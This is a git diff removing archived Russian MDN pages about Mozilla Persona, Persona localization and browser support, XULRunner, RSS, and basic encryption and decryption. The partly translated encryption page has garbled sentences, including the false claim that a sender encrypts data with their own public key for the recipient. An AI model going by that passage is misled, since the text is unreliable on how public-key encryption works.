diff --git a/files/ru/archive/mozilla/persona/why_persona/index.html b/files/ru/archive/mozilla/persona/why_persona/index.html
deleted file mode 100644
index 0dcbeef6db..0000000000
--- a/files/ru/archive/mozilla/persona/why_persona/index.html
+++ /dev/null
@@ -1,63 +0,0 @@
----
-title: Почему Persona?
-slug: Archive/Mozilla/Persona/Why_Persona
-tags:
- - Persona
- - Введение
- - Рекомендуемое
-translation_of: Archive/Mozilla/Persona/Why_Persona
----
-<div dir="ltr" style="margin-left: 40px;">
- Persona – это свободно распространяемая, кросс-браузерная система идентификации, которая предлагает решение для традиционной модели хранения паролей. Она нацелена на устранение недостатков, досаждающих при использовании других систем хранения конфиденциальных данных, как, например, OpenID, без необходимости использования централизованной инфраструктуры, подобной Facebook Connect.</div>
-<div dir="ltr" style="margin-left: 40px;">
-  </div>
-<div dir="ltr" style="margin-left: 40px;">
- <span lang="en"><span class="hps">Текущий подход к созданию и управлению пользовательских имён и паролей скучный, малоэффективный и небезопасный.</span><span class="hps"> Пользователи вынуждены придумывать и запоминать трудные пароли для каждого сайта или сервиса. На сайте же должны быть организованы безопасное шифрование и хранение паролей, чтобы предотвратить утечку важной информации.</span><span class="hps"> Предотвращение таких утечек – основная причина использования Persona, а гибкость её механизмов превосходит многие стандартные системы безопасной идентификации.</span></span></div>
-<div dir="ltr" style="margin-left: 40px;">
-  </div>
-<div class="summary">
- <div dir="ltr" style="margin-left: 40px;">
- <strong>Примечание: более подробную информацию о Persona и её возможностях вы можете получить по ссылке <a href="https://support.mozilla.org/ru/kb/what-is-persona-and-how-does-it-work-ru">Что такое Persona и как она работает?</a>.</strong></div>
-</div>
-<h2 id="Persona_устраняет_необходимость_создавать_пароли_для_каждого_сайта">Persona устраняет необходимость создавать пароли для каждого сайта</h2>
-<p style="margin-left: 40px;">Persona использует безопасную систему, построенную на основе передового шифрования общедоступных ключей, для авторизации на вебсайтах за пару щелчков мыши. Обозреватель пользователя создаёт зашифрованное подтверждение личности, которое теряет актуальность через несколько минут и действительно только для конкретного сайта. Пользователи могут не беспокоиться о том, что нужно запоминать несколько разных паролей, а также заботиться о безопасном доступе к свои паролям, если пароли не используются вообще. Быстрый и простой способ авторизации устраняет недостатки традиционной регистрации и позволяет пользователям легко заводить учётные записи на вебсайтах.</p>
-<h2 id="Persona_использует_адрес_электронной_почты_в_качестве_идентификатора">Persona использует адрес электронной почты в качестве идентификатора</h2>
-<div id="gt-src-tools">
- <div id="gt-src-tools-l">
- <div id="gt-input-tool" style="display: inline-block;">
- <div id="itamenu" style="margin-left: 40px;">
- Механизмы Persona полагаются на адрес электронной почты, и это их ключевая составляющая, потому как адресу электронной почты по своей природе присущи уникальность и приватность. Существующая в данный момент инфраструктура работает очень хорошо не только с точки зрения проектирования (разработки), но и с точки зрения идеальной системы открытого управления и передачи идентификаторов по Интернет.</div>
- </div>
- </div>
-</div>
-<h3 id="sect1"> </h3>
-<h3 id="Выгода_для_пользователей"><span class="short_text" id="result_box" lang="en"><span class="hps">Выгода для пользователей</span></span></h3>
-<ul style="margin-left: 40px;">
- <li>Пользователь уже знает адрес своей электронной почты. Ему не нужно знакомиться с новой и, возможно, непонятной системой, подобной OpenID.</li>
- <li><span id="result_box" lang="en"><span class="hps">Адрес электронной почты отлично отражает идею <code>личность</code><span style="font-family: 'Courier New', 'Andale Mono', monospace;">@контекст</span>. Это позволяет пользователям легко разделять идентификаторы для работы (<span style="font-family: 'Courier New', 'Andale Mono', monospace;">@наработе</span>), дома (<span style="font-family: 'Courier New', 'Andale Mono', monospace;">@дома</span>), учёбы (<span style="font-family: 'Courier New', 'Andale Mono', monospace;">@вшколе</span>) и все прочие. Это так же отличается от тенденции связывать множество учётных записей с одним реальным идентификатором, которая диктуется политикой одной учётной записи в социальных сетях вроде Google+ или </span><span class="hps">Facebook.</span></span></li>
- <li><span id="result_box" lang="en"><span class="hps">Электронный ящик может быть организован самостоятельно или получен от сторонних поставщиков (почтовых сервисов, <em>прим. переводчика</em>), предоставляя пользователям возможность распоряжаться своими идентификаторами самостоятельно. Такая возможность в значительной степени ограничена, когда приходиться объединять множество учётных записей с одним идентификатором.</span></span></li>
-</ul>
-<div class="almost_half_cell" id="gt-res-content">
- <h3 dir="ltr" id="Преимущества_для_разработчиков" style="zoom: 1;"><span class="short_text" id="result_box" lang="en"><span class="hps">Преимущества для разработчиков</span></span></h3>
-</div>
-<ul style="margin-left: 40px;">
- <li><span id="result_box" lang="en"><span class="hps">Адрес электронной почты позволяет разработчику связываться с пользователем напрямую.</span></span></li>
- <li>
- <div class="almost_half_cell" id="gt-res-content">
- <div dir="ltr" style="zoom: 1;">
- <span id="result_box" lang="es"><span id="result_box" lang="en"><span class="hps">Persona предоставляет вебсайту адрес электронной почты автоматически после авторизации пользователя, исключая необходимость дополнительных запросов после авторизации (в оригинале "форм", <em>прим. переводчика</em>).</span></span></span></div>
- </div>
- </li>
- <li>
- <div class="almost_half_cell" id="gt-res-content">
- <div dir="ltr" style="zoom: 1;">
- <span id="result_box" lang="es"><span id="result_box" lang="en"><span class="hps">Многие системы авторизации подразумевают уникальность адреса электронной почты, это не является исключительной особенностью Persona, что позволяет внедрять её в уже существующие системы доступа. Любой, у кого есть электронная почта, может получить доступ практически мгновенно.</span></span></span></div>
- </div>
- </li>
-</ul>
-<div class="almost_half_cell" id="gt-res-content">
- <h2 dir="ltr" id="Чем_отличается_Persona_от_других_подобных_систем_или_одиночной_учётной_записи" style="zoom: 1;"><span id="result_box" lang="es"><span class="hps"><span id="result_box" lang="en">Чем отличается <span class="hps">Persona</span> от других подобных систем или одиночной учётной записи?</span></span></span></h2>
-</div>
-<p style="margin-left: 40px;"><span id="result_box" lang="es"><span id="result_box" lang="en">Persona<span class="hps"> защищает частную собственность</span><span class="hps">, предоставляя пользователю выбор и возможность управления, чего не могут предоставить другие поставщики, это делает Persona очень привлекательной.</span><span class="hps"> Большинство социальных сетей, таких как Google+ или Facebook, требуют от пользователя указывать настоящее имя, принимать их политику, и ограничивают пользователя только одной учётной записью. </span>P<span class="hps">ersona позволяет пользователям разграничить их рабочие, школьные или социальные идентификаторы, используя адреса разных электронных ящиков вместо настоящего имени. Благодаря такой анонимности, вы получаете дополнительный пласт безопасности идентификаторов и сетевой защиты, который отсутствует в большинстве социальных сетей.</span></span></span></p>
-<p style="margin-left: 40px;"><span lang="en"><span class="hps">Persona также открывает новый подход к защите пользовательских данных, делая браузер пользователя ключевым элементом в процессе авторизации</span><span class="hps">. Обозреватель получает данные о пользователе, предоставляемые его электронной почтой, а затем передаёт их вебсайту.</span> Поставщик электронной почты не может отслеживать пользователя, в тоже время сайты могут быть уверенны в идентификаторе пользователя, благодаря зашифрованному подтверждению данных. Многие другие системы, даже такие распределённые системы как OpenID, требуют чтобы сайт сначала был подключен к централизованной сети, прежде чем пользователь сможет осуществить вход.</span></p>
-<p style="margin-left: 40px;">Возможности Persona позволяют разработчикам наладить тесную связь с пользователями. Mozilla занимает лидирующее место в области открытых, свободных сетевых технологий, и Persona, обладая простым в использовании интерфейсом и возможностями защиты пользователя, поддерживает философию Mozilla.</p>
diff --git a/files/ru/archive/mozilla/persona/интернационализация/index.html b/files/ru/archive/mozilla/persona/интернационализация/index.html
deleted file mode 100644
index b395445eaa..0000000000
--- a/files/ru/archive/mozilla/persona/интернационализация/index.html
+++ /dev/null
@@ -1,53 +0,0 @@
----
-title: Интернационализация
-slug: Archive/Mozilla/Persona/Интернационализация
-tags:
- - Интернационализация
- - Локализация
- - Перевод
-translation_of: Archive/Mozilla/Persona/Internationalization
----
-<h2 id="What's_localized_in_Persona">What's localized in Persona</h2>
-<p>In the future, the user interface for signing into sites with Persona will be directly integrated into the browser, and thus localized along with the browser's own localization. For browsers without integrated support, Persona's user interface consists of a series of dialogs served from <a href="https://login.persona.org" title="https://login.persona.org">login.persona.org</a>. These dialogs are translated by a team of community volunteers, and more than 45 locales are currently <a href="https://github.com/mozilla/browserid/blob/dev/config/l10n-prod.json" title="https://github.com/mozilla/browserid/blob/dev/config/l10n-prod.json">enabled in production</a>.</p>
-<h2 id="How_Persona_chooses_localizations">How Persona chooses localizations</h2>
-<p>The Persona service selects a language using the <code>Accept-Language</code> header sent alongside the browser's requests. The algorithm used to map an <code>Accept-Language</code> header to a language is the same as that used by <code>mozilla.org</code>:</p>
-<ol>
- <li>For each language tag in the <code>Accept-Language</code> header:
- <ul>
- <li>check if we have an exact match for the language identified by the language tag</li>
- <li>check if we have an exact match for the language identified by the first part of the language tag</li>
- </ul>
- </li>
- <li>If a match can't be made using rule (1), fall back to en-US. However, en or en-US is almost always the last accept-lang header sent by most browsers.</li>
-</ol>
-<p>For example, the table below lists the language selected for various <code>Accept-Language</code> headers, if the following locales were supported: <code>en-US, es, es-MX</code>:</p>
-<table>
- <thead>
- <tr>
- <th scope="col"><strong>Accept-Language Header</strong></th>
- <th scope="col"><strong>Selected language</strong></th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>es-AR,es;q=0.8,en-us;q=0.5</code></td>
- <td><code>es</code></td>
- </tr>
- <tr>
- <td><code>es-MX,es;q=0.8,en-us;q=0.5</code></td>
- <td><code>es-MX</code></td>
- </tr>
- <tr>
- <td><code>e</code><code>s-es,en-us;q=0.5</code></td>
- <td><code>en-US</code></td>
- </tr>
- <tr>
- <td><code>e</code><code>s-es</code></td>
- <td><code>en-US</code></td>
- </tr>
- </tbody>
-</table>
-<p>There is currently no way for a website to force the dialogs to appear in another language. This is because the Persona UI is logically (and in future native implementations will actually be) part of the browser UI, so its language should be consistent with the language selected for the browser.</p>
-<h2 id="How_you_can_help">How you can help</h2>
-<p>Persona uses Mozilla Verbatim to help volunteers create new translations. If you want to help out, read about <a href="https://developer.mozilla.org/en-US/docs/Localizing_with_Verbatim" title="https://developer.mozilla.org/en-US/docs/Localizing_with_Verbatim">getting started with Verbatim</a> and check out the <a href="https://localize.mozilla.org/projects/browserid/" title="https://localize.mozilla.org/projects/browserid/">"BrowserID" project</a> on Verbatim.</p>
-<p> </p>
diff --git a/files/ru/archive/mozilla/persona/поддержка_браузеров/index.html b/files/ru/archive/mozilla/persona/поддержка_браузеров/index.html
deleted file mode 100644
index d2d36dcc23..0000000000
--- a/files/ru/archive/mozilla/persona/поддержка_браузеров/index.html
+++ /dev/null
@@ -1,86 +0,0 @@
----
-title: Поддержка браузеров
-slug: Archive/Mozilla/Persona/Поддержка_браузеров
-translation_of: Archive/Mozilla/Persona/Browser_compatibility
----
-<h2 id="Поддерживаемые_браузеры">Поддерживаемые браузеры</h2>
-<p>Persona разработана, протестирована и поддерживается нежеуказанными браузерами. Благодаря межплатформенной JavaScript библиотеке, пользователям не нужны никаки дополнения для работы с Persona.</p>
-<table>
- <tbody>
- <tr>
- <th colspan="3" scope="row" style="text-align: center; background-color: #d3d7cf;">Компьютер</th>
- </tr>
- <tr>
- <th scope="row"><strong>Internet Explorer</strong></th>
- <td colspan="2" rowspan="1" style="background-color: #8ae234;">8.0<sup>*</sup>, 9.0<sup>†</sup>, 10.0<sup>*</sup><sup>*</sup> (взгляните на <a href="https://developer.mozilla.org/docs/persona/Browser_compatibility#Internet_Explorer_.22Compatibility_Mode.22" title="https://developer.mozilla.org/docs/persona/Browser_compatibility#Internet_Explorer_.22Compatibility_Mode.22">Compatibility Mode</a>)</td>
- </tr>
- <tr>
- <th scope="row"><strong>Firefox</strong></th>
- <td colspan="2" style="background-color: #8ae234;">Текущий стабильный, Бета, Аврора и ночной релизы, а также Релиз с расширенной поддержкой<br>
- Предыдущий стабильный релиз</td>
- </tr>
- <tr>
- <th scope="row"><strong>Chrome</strong></th>
- <td colspan="2" style="background-color: #8ae234;">Текущий стабильный релиз</td>
- </tr>
- <tr>
- <th scope="row"><strong>Safari</strong></th>
- <td colspan="2" style="background-color: #8ae234;">Текущий стабильный релиз</td>
- </tr>
- <tr>
- <th scope="row"><strong>Opera</strong></th>
- <td colspan="2" style="background-color: #8ae234;"><sup><span style="font-size: 14px;">Текущий стабильный релиз</span>‡</sup></td>
- </tr>
- <tr>
- <th colspan="3" scope="row" style="text-align: center; background-color: #d3d7cf;"><strong>iOS Браузеры</strong></th>
- </tr>
- <tr>
- <th scope="row"><strong>Mobile Safari</strong></th>
- <td colspan="2" rowspan="1" style="background-color: #8ae234;">iOS 5.x — 6.x</td>
- </tr>
- <tr>
- <th colspan="3" scope="row" style="text-align: center; background-color: #d3d7cf;"><strong>Android Браузеры</strong></th>
- </tr>
- <tr>
- <th scope="row">Стандартный</th>
- <td colspan="2" rowspan="1" style="background-color: #8ae234;">2.2 — 4.x</td>
- </tr>
- <tr>
- <th scope="row"><strong>Firefox</strong></th>
- <td colspan="2" style="background-color: #8ae234;">Текущий, Бета, Аврора и ночной релизы,<br>
- Предыдущий стабильный релиз</td>
- </tr>
- <tr>
- <th scope="row"><strong>Chrome</strong></th>
- <td colspan="2" style="background-color: #8ae234;">Текущий стабильный релиз</td>
- </tr>
- </tbody>
-</table>
-<p><sup>*</sup>: Для Windows XP. <sup>†</sup>: Для Windows Vista и Windows 7. <sup>*</sup><sup>*</sup>Windows 8.<sup>  </sup><sup>‡</sup>: Как показывает время.</p>
-<h2 id="Неподдерживаемые_браузеры">Неподдерживаемые браузеры</h2>
-<ul>
- <li>Internet Explorer версий 6.0 и 7.0 не поддерживается. Пользователи будут предупреждены об этом. Также взгляните на <a href="https://developer.mozilla.org/docs/persona/Browser_compatibility#Internet_Explorer_.22Compatibility_Mode.22" title="https://developer.mozilla.org/docs/persona/Browser_compatibility#Internet_Explorer_.22Compatibility_Mode.22">IE "Compatibility Mode"</a>.</li>
- <li>Google Chrome Frame не поддерживается. Поддержка может быть внедрена позже (<a href="https://github.com/mozilla/browserid/issues/796" title="https://github.com/mozilla/browserid/issues/796">Issue #796</a>).</li>
- <li>Сторонние браузеры на iOS не поддерживаются. Поддержка может быть внедрена позже (<a href="https://github.com/mozilla/browserid/issues/2034" title="https://github.com/mozilla/browserid/issues/2034">Issue #2034</a>).</li>
-</ul>
-<h2 id="Internet_Explorer_Режим_совместимости">Internet Explorer "Режим совместимости"</h2>
-<p>С версии 8.0 Internet Explorer включает в себя так называемый Режим Совместимости, когда идет эмуляция pre-8.0 версии при рендеринге страницы. Это видно по</p>
-<ol>
- <li>локальной настройке в браузере</li>
- <li>наличию и значению <a href="https://developer.mozilla.org/docs/Quirks_Mode_and_Standards_Mode" title="https://developer.mozilla.org/docs/Quirks_Mode_and_Standards_Mode">DOCTYPE</a> элемента на странице</li>
- <li>HTTP заголовку <a href="http://msdn.microsoft.com/library/cc288325%28v=vs.85%29.aspx" title="http://msdn.microsoft.com/library/cc288325%28v=vs.85%29.aspx">"X-UA-Compatible"</a> от вашего сервера и/или <a href="https://developer.mozilla.org/docs/HTML/Element/meta" title="https://developer.mozilla.org/docs/HTML/Element/meta"><code>&lt;meta&gt;</code></a> тэгу на странице. Этот метод имеет наивысший приоритет.</li>
-</ol>
-<p>Because versions of Internet Explorer earlier than 8.0 are not supported by Persona, any version of Internet Explorer which is configured to emulate a pre-8.0 version will also not function with Persona. This is typically for one of the following reasons:</p>
-<ul>
- <li>your site is using "X-UA-Compatible" to explicitly instruct the browser to emulate a pre-8.0 version</li>
- <li>your site's pages omit the DOCTYPE, do not have the DOCTYPE as the first line of the page, or set the browser to quirks mode, and your site is not setting "X-UA-Compatible" to IE version 8.0 or higher</li>
- <li>the browser is locally configured to use a pre-8.0 Compatibility Mode, and your site is not overriding this by setting "X-UA-Compatible" to IE version 8.0 or higher</li>
-</ul>
-<p>For more information, see <a href="https://blogs.msdn.com/b/askie/archive/2009/03/23/understanding-compatibility-modes-in-internet-explorer-8.aspx?Redirected=true" title="https://blogs.msdn.com/b/askie/archive/2009/03/23/understanding-compatibility-modes-in-internet-explorer-8.aspx?Redirected=true">"Understanding Compatibility Modes in Internet Explorer 8"</a> and <a href="http://hsivonen.iki.fi/doctype/index.html#ie8" title="http://hsivonen.iki.fi/doctype/index.html#ie8">"IE8 and IE9 Complications"</a>.</p>
-<h2 id="Другие_браузеры">Другие браузеры</h2>
-<p>Despite not being explicitly supported, any browser that includes both {{ domxref("window.postMessage()") }} and {{ domxref("Storage", "localStorage") }} should work. These APIs have been available in all major browsers since March 2010.</p>
-<h2 id="Известные_проблемы">Известные проблемы</h2>
-<ul>
- <li>Браузеры должны принимать cookies для полноценной функциональности (<a href="https://github.com/mozilla/browserid/issues/1352" title="https://github.com/mozilla/browserid/issues/1352">Issue #1352</a>).</li>
- <li>Пользователи Android 2.x без установленного по умолчанию стандартного браузера не смогут войти (<a href="https://github.com/mozilla/browserid/issues/1854" title="https://github.com/mozilla/browserid/issues/1854">Issue #1854</a>).</li>
-</ul>
diff --git a/files/ru/archive/mozilla/xulrunner/index.html b/files/ru/archive/mozilla/xulrunner/index.html
deleted file mode 100644
index 159f5361a4..0000000000
--- a/files/ru/archive/mozilla/xulrunner/index.html
+++ /dev/null
@@ -1,104 +0,0 @@
----
-title: XULRunner
-slug: Archive/Mozilla/XULRunner
-translation_of: Archive/Mozilla/XULRunner
----
-<div class="callout-box">
- <strong><a href="/en/Getting_started_with_XULRunner" title="en/Getting_started_with_XULRunner">Приступая к работе с XULRunner</a></strong><br>
- Короткое введение в XULRunner.</div>
-<div>
- <strong>XULRunner</strong> это пакет среды исполнения Mozilla который может быть использован для загрузки XUL+XPCOM приложений которых множество для Firefox и Thunderbird. Это дает возможность использовать механизм для установки, обновления, и удаления этих приложений. XULRunner также предоставляет libxul, это решение которое позволяет встраивать технологии Mozilla в другие проекты и продукты.</div>
-<table class="topicpage-table">
- <tbody>
- <tr>
- <td>
- <h4 id="Releases" name="Releases">Выпуски</h4>
- <div class="note">
- <p>XULRunner 1.9.1 has been released and can be <a class="external" href="http://releases.mozilla.org/pub/mozilla.org/xulrunner/releases/" title="http://releases.mozilla.org/pub/mozilla.org/xulrunner/releases/">downloaded from releases.mozilla.org</a>. Please read the <a class="internal" href="/en/XULRunner_1.9.1_Release_Notes" title="en/XULRunner 1.9.1 Release Notes">release notes</a> for installation, uninstallation, and other information.</p>
- <p>Firefox 3 and later ships with a private XULRunner package, which can run any compatible XULRunner application using the <code>-app</code> switch.</p>
- <p><a href="/en/XULRunner//Old_Releases" title="en/XULRunner//Old_Releases">Older builds</a> are also available.</p>
- </div>
- <h4 id="Overview" name="Overview">Обзор</h4>
- <ul>
- <li>{{ interwiki('wikimo', 'XULRunner:Roadmap', 'Development Roadmap') }}</li>
- <li><a href="/en/XULRunner/What_XULRunner_Provides" title="en/XULRunner/What_XULRunner_Provides">What XULRunner Provides</a></li>
- <li><a href="/en/XULRunner_FAQ" title="en/XULRunner_FAQ">XULRunner FAQ</a></li>
- <li>Nightly builds: <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/nightly/latest-trunk/">1.9 branch</a></li>
- </ul>
- <h4 id="Documentation" name="Documentation">Документация</h4>
- <dl>
- <dt>
- <a href="/Special:Tags?tag=XULRunner&amp;language=en" title="Special:Tags?tag=XULRunner&amp;language=en">View All...</a></dt>
- </dl>
- <dl>
- <dt>
- <a href="/en/Getting_started_with_XULRunner" title="en/Getting_started_with_XULRunner">Getting Started with XULRunner</a></dt>
- <dd>
- <small>Short tutorial on building desktop applications with XULRunner.</small></dd>
- </dl>
- <dl>
- <dt>
- <a class="external" href="http://zenit.senecac.on.ca/wiki/index.php/XULRunner_Guide">XULRunner Guide</a></dt>
- <dd>
- <small>A fairly complete introduction and tutorial for XULRunner which collates much of the documentation found here.</small></dd>
- </dl>
- <dl>
- <dt>
- <a class="external" href="http://blogs.acceleration.net/ryan/archive/2005/05/06/1073.aspx">A XULRunner Tutorial</a></dt>
- <dd>
- <small>A short introduction to XULRunner.</small></dd>
- </dl>
- <dl>
- <dt>
- <a href="/en/XULRunner_tips" title="en/XULRunner_tips">XULRunner tips</a></dt>
- <dd>
- <small>A collection of tips for working with XULRunner.</small></dd>
- </dl>
- <dl>
- <dt>
- <a href="/en/XULRunner/Deploying_XULRunner_1.8" title="en/XULRunner/Deploying_XULRunner_1.8">Deploying XULRunner</a></dt>
- <dd>
- <small>An introduction on how to package your application with XULRunner.</small></dd>
- </dl>
- <dl>
- <dt>
- <a href="/en/XULRunner_Hall_of_Fame" title="en/XULRunner_Hall_of_Fame">XULRunner Hall of Fame</a></dt>
- <dd>
- <small>Tracks all available applications based on XULRunner.</small></dd>
- </dl>
- <dl>
- <dt>
- <a href="/En/Developer_Guide/Build_Instructions" title="en/Build_Documentation">Build Documentation</a></dt>
- <dd>
- <small>Learn how to get the source and build it.</small></dd>
- </dl>
- <dl>
- <dt>
- <a href="/en/Debugging_a_XULRunner_Application" title="en/Debugging_a_XULRunner_Application">Debug Documentation</a></dt>
- <dd>
- <small>Steps to configure Venkman to debug your App</small></dd>
- </dl>
- </td>
- <td>
- <h4 id="Community" name="Community">Сообщество</h4>
- <ul>
- <li>View Mozilla forums...</li>
- </ul>
- <p>{{ DiscussionList("dev-platform", "mozilla.dev.platform") }}</p>
- <ul>
- <li><a class="link-irc" href="irc://irc.mozilla.org/#xulrunner">#xulrunner on irc.mozilla.org</a></li>
- <li><a href="/en/XULRunner/Community" title="en/XULRunner/Community">Other community links...</a></li>
- </ul>
- <h4 id="Related_Topics" name="Related_Topics">Related Topics</h4>
- <dl>
- <dd>
- <a href="/en/XUL" title="en/XUL">XUL</a></dd>
- </dl>
- </td>
- </tr>
- </tbody>
-</table>
-<p><span class="comment">Categories</span></p>
-<p><span class="comment">Interwiki Language Links</span></p>
-<p> </p>
-<p>{{ languages( { "ca": "ca/XULRunner", "es": "es/XULRunner", "fr": "fr/XULRunner", "it": "it/XULRunner", "zh-cn": "cn/XULRunner", "ja": "ja/XULRunner", "pl": "pl/XULRunner", "ko": "ko/XULRunner" } ) }}</p>
diff --git a/files/ru/archive/rss/index.html b/files/ru/archive/rss/index.html
deleted file mode 100644
index 29b7dfad59..0000000000
--- a/files/ru/archive/rss/index.html
+++ /dev/null
@@ -1,16 +0,0 @@
----
-title: RSS
-slug: Archive/RSS
-tags:
- - RDF
- - RSS
- - XML
-translation_of: Archive/RSS
----
-<p><span class="long_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Really Simple Syndication (RSS) is a popular HTML-like XML-based data format used for syndication.">Really Simple Syndication (RSS) является популярным HTML-подобным форматом описания данных, в основе которого лежит </span></span><span class="long_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Really Simple Syndication (RSS) is a popular HTML-like XML-based data format used for syndication.">XML</span></span><span class="long_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Really Simple Syndication (RSS) is a popular HTML-like XML-based data format used for syndication.">, используемый для </span></span>описания лент новостей, анонсов статей, блогов<span class="long_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="(Some being based on RDF, but most only being based on XML.) Nonetheless, RSS is an extremely popular format that is used for syndicating news, blog posts, IPradio, and IPTV, with an amazing amount of momentum.">, IPradio и IPTV</span></span><span class="long_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Really Simple Syndication (RSS) is a popular HTML-like XML-based data format used for syndication.">. </span></span></p>
-<p><span class="long_text"><span style="background-color: rgb(255, 255, 255);" title="Really Simple Syndication (RSS) is a popular HTML-like XML-based data format used for syndication.">Существует по крайней мере три различных расшифровки аббревиатуры RSS:</span></span></p>
-<ul>
- <li><strong>Rich Site Summary</strong> (RSS 0.9x) — <em>обогащённая сводка сайта</em>;</li>
- <li><strong>RDF Site Summary</strong> (RSS 0.9 и 1.0) — <em>сводка сайта с применением инфраструктуры описания ресурсов</em>;</li>
- <li><strong>Really Simple Syndication</strong> (RSS 2.x) — <em>очень простое приобретение информации</em>.</li>
-</ul>
diff --git a/files/ru/archive/security/encryption_and_decryption/index.html b/files/ru/archive/security/encryption_and_decryption/index.html
deleted file mode 100644
index 07b799315b..0000000000
--- a/files/ru/archive/security/encryption_and_decryption/index.html
+++ /dev/null
@@ -1,78 +0,0 @@
----
-title: Шифрование и Дешифрование
-slug: Archive/Security/Encryption_and_Decryption
-tags:
- - Crypting
- - Security
-translation_of: Archive/Security/Encryption_and_Decryption
----
-<p><span class="seoSummary">Шифрование - процесс трансформации информации в формат не понятный никому кроме получателя. Дешифрование - процесс трансформации зашифрованой информации в понятный формат. Криптографический алгоритм называют шифром - это математическая функция, успользуемая для шифрование и дешифрование данных</span>. В большинстве случаев используется не одна функция, а две взаимосвязанные: одна для шифрования, другая для дешифрования.</p>
-
-<p>With most modern cryptography, the ability to keep encrypted information secret is based not on the cryptographic algorithm, which is widely known, but on a number called a key that must be used with the algorithm to produce an encrypted result or to decrypt previously encrypted information. Decryption with the correct key is simple. Decryption without the correct key is very difficult, and in some cases impossible for all practical purposes.</p>
-
-<p>The sections that follow introduce the use of keys for encryption and decryption.</p>
-
-<ul>
- <li><a href="#Симметрический ключ шифрования">Симметрический ключ шифрования</a></li>
- <li><a href="#Публичный ключ шифрования">Публичный ключ шифрования</a></li>
- <li><a href="#Длина ключа и Прочность шифрования">Длина ключа и Прочность шифрования</a></li>
-</ul>
-
-<h3 id="Symmetric-Key_Encryption" name="Symmetric-Key_Encryption"><a id="Симметрический ключ шифрования" name="Симметрический ключ шифрования">Симметрический ключ шифрования</a></h3>
-
-<p>При использовании симметрических ключей ключ шифрования можно вычислить на основе ключа шифрования и наоборот. В большинстве случаев, симметрические алгоритмы применяют один и тот-же ключ для шифрования и дешифрования как показано на Рис.1 . </p>
-
-<p><img alt="Figure 1. Symmetric-Key Encryption" class="internal" src="https://mdn.mozillademos.org/files/10303/05scrypt2.png" style="height: 125px; width: 443px;" title="Рис.1"></p>
-
-<p>Реализации симметричных шифров могут быть высокопроизводительными, не создавая особых задержек во время шифрования и дешифрования. Symmetric-key encryption also provides a degree of authentication, since information encrypted with one symmetric key cannot be decrypted with any other symmetric key. Thus, as long as the symmetric key is kept secret by the two parties using it to encrypt communications, each party can be sure that it is communicating with the other as long as the decrypted messages continue to make sense.</p>
-
-<p>Symmetric-key encryption is effective only if the symmetric key is kept secret by the two parties involved. If anyone else discovers the key, it affects both confidentiality and authentication. A person with an unauthorized symmetric key not only can decrypt messages sent with that key, but can encrypt new messages and send them as if they came from one of the two parties who were originally using the key.</p>
-
-<p>Symmetric-key encryption plays an important role in the SSL protocol, which is widely used for authentication, tamper detection, and encryption over TCP/IP networks. SSL also uses techniques of public-key encryption, which is described in the next section.</p>
-
-<h3 id="Public-Key_Encryption" name="Public-Key_Encryption"><a id="Публичный ключ шифрования" name="Публичный ключ шифрования"></a>Публичный ключ шифрования</h3>
-
-<p>The most commonly used implementations of public-key encryption are based on algorithms patented by RSA Data Security. Therefore, this section describes the RSA approach to public-key encryption.</p>
-
-<p>Шифрование с публичным ключом (ассиметричное шифрование)  состоит из двух ключей: публичный и приватный, находящийся у лица, которое должно пройти аутентификацию,подписать или зашифровать информацию. Каждый публичный ключ опубликован, а приватные должны оставаться секретными. Информация зашифровывается вашим публичным ключом, а расшифровывается только вашим приватным ключом. Рис.2 показывает как работают алгоритмы с публичным ключом шифрования.</p>
-
-<p><img alt="Figure 2. Public-Key Encryption" class="internal" src="https://mdn.mozillademos.org/files/15760/06pcrypt-corrected.png" style="height: 125px; width: 443px;" title="Рис.2"></p>
-
-<p>Этот метод позволяет свободно распространять публичный ключ, при этом только вы сможете расшифровать данные. Чтобы отправить кому-то зашифрованные данны вы зашифровываете их своим публичным ключом осылаете получателю, он же расшифровывает их соответствующим приватным ключом.</p>
-
-<p>Compared with symmetric-key encryption, public-key encryption requires more computation and is therefore not always appropriate for large amounts of data. However, it's possible to use public-key encryption to send a symmetric key, which can then be used to encrypt additional data. This is the approach used by the SSL protocol.</p>
-
-<p>As it happens, the reverse of the scheme shown in Figure 2 also works: data encrypted with your private key can be decrypted only with your public key. This would not be a desirable way to encrypt sensitive data, however, because it means that anyone with your public key, which is by definition published, could decrypt the data. Nevertheless, private-key encryption is useful, because it means you can use your private key to sign data with your digital signature-an important requirement for electronic commerce and other commercial applications of cryptography. Client software such as Firefox can then use your public key to confirm that the message was signed with your private key and that it hasn't been tampered with since being signed. "<a href="/en-US/docs/Digital_Signatures">Digital Signatures</a>" describes how this confirmation process works.</p>
-
-<h3 id="Key_Length_and_Encryption_Strength" name="Key_Length_and_Encryption_Strength"><a id="Длина ключа и Прочность шифрования" name="Длина ключа и Прочность шифрования"></a>Длина ключа и  Прочность шифрования</h3>
-
-<p>Breaking an encryption algorithm is basically finding the key to the access the encrypted data in plain text. For symmetric algorithms, breaking the algorithm usually means trying to determine the key used to encrypt the text. For a public key algorithm, breaking the algorithm usually means acquiring the shared secret information between two recipients.</p>
-
-<p>One method of breaking a symmetric algorithm is to simply try every key within the full algorithm until the right key is found. For public key algorithms, since half of the key pair is publicly known, the other half (private key) can be derived using published, though complex, mathematical calculations. Manually finding the key to break an algorithm is called a brute force attack.</p>
-
-<p>Breaking an algorithm introduces the risk of intercepting, or even impersonating and fraudulently verifying, private information.</p>
-
-<p>The key strength of an algorithm is determined by finding the fastest method to break the algorithm and comparing it to a brute force attack.</p>
-
-<p>For symmetric keys, encryption strength is often described in terms of the size or length of the keys used to perform the encryption: in general, longer keys provide stronger encryption. Key length is measured in bits. For example, 128-bit keys for use with the RC4 symmetric-key cipher supported by SSL provide significantly better cryptographic protection than 40-bit keys for use with the same cipher. Roughly speaking, 128-bit RC4 encryption is 3 x 10<sup>26</sup> times stronger than 40-bit RC4 encryption. (For more information about RC4 and other ciphers used with SSL, see "<a href="/en/Introduction_to_SSL" title="en/Introduction_to_SSL">Introduction to SSL</a>.") An encryption key is considered full strength if the best known attack to break the key is no faster than a brute force attempt to test every key possibility.</p>
-
